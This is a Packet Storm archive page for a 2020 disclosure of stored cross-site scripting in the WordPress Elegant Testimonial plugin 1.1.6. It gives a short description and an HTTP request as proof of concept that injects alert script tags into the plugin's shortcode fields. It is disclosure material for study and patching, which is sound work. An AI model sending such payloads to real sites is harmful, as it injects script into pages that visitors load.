exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Elegant Testimonial 1.1.6 Persistent Cross Site Scripting

WordPress Elegant Testimonial 1.1.6 Persistent Cross Site Scripting
Posted Aug 18, 2020
Authored by Melbin K Mathew

WordPress Elegant Testimonial plugin version 1.1.6 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 4001e445bea3300c2962d26324ae3a84c15202be2d8172987521789caa23ac00

WordPress Elegant Testimonial 1.1.6 Persistent Cross Site Scripting

Change Mirror Download
# Exploit Title: WordPress Elegant Testimonial Plugin v1.1.6 - Persistent Cross-Site Scripting
# Date: 2020-08-18
# Vendor Homepage: https://noorsplugin.com/
# Vendor Changelog: https://wordpress.org/plugins/wp-elegant-testimonial/#developers
# Exploit Author: Melbin K Mathew (@melbinkm)
# Author Advisory: https://melbin.in/2020/08/15/multiple-stored-xss-vulnerabilities-in-woprpress-elegant-testimonial-plugin/
# Author Homepage: https://melbin.in
# Version: 1.1.6 and below

1. Description

WordPress WP Elegant Testimonial Plugin is used to insert testimonials into a WordPress site directly from the post editor. It was found to be vulnerable to multiple stored Cross-Site Scripting (XSS) vulnerabilities. The ‘name’, ‘company’ and ‘text’ fields used while adding a testimonial to a page was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the post. It is triggered when a user loads a page where the plugin shortcode is used. All WordPress websites using WP Elegant Testimonial Plugin version 1.1.6 and below are affected.

2. Proof of Concept

POST /w/wp-json/wp/v2/posts/277?_locale=user HTTP/1.1
Host: 127.0.0.1
Content-Length: 197
Accept: application/json, */*;q=0.1
X-WP-Nonce: b5b10297e1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: http://127.0.0.1
Referer: http://127.0.0.1/w/wp-admin/post.php?post=277&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close

{"id":277,"content":"[wp_elegant_testimonial name="<script>alert(0)</script>" company="<script>alert(0)</script>" text="<script>alert(0)</script>" image="https://example.com/example.jpg"]"}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close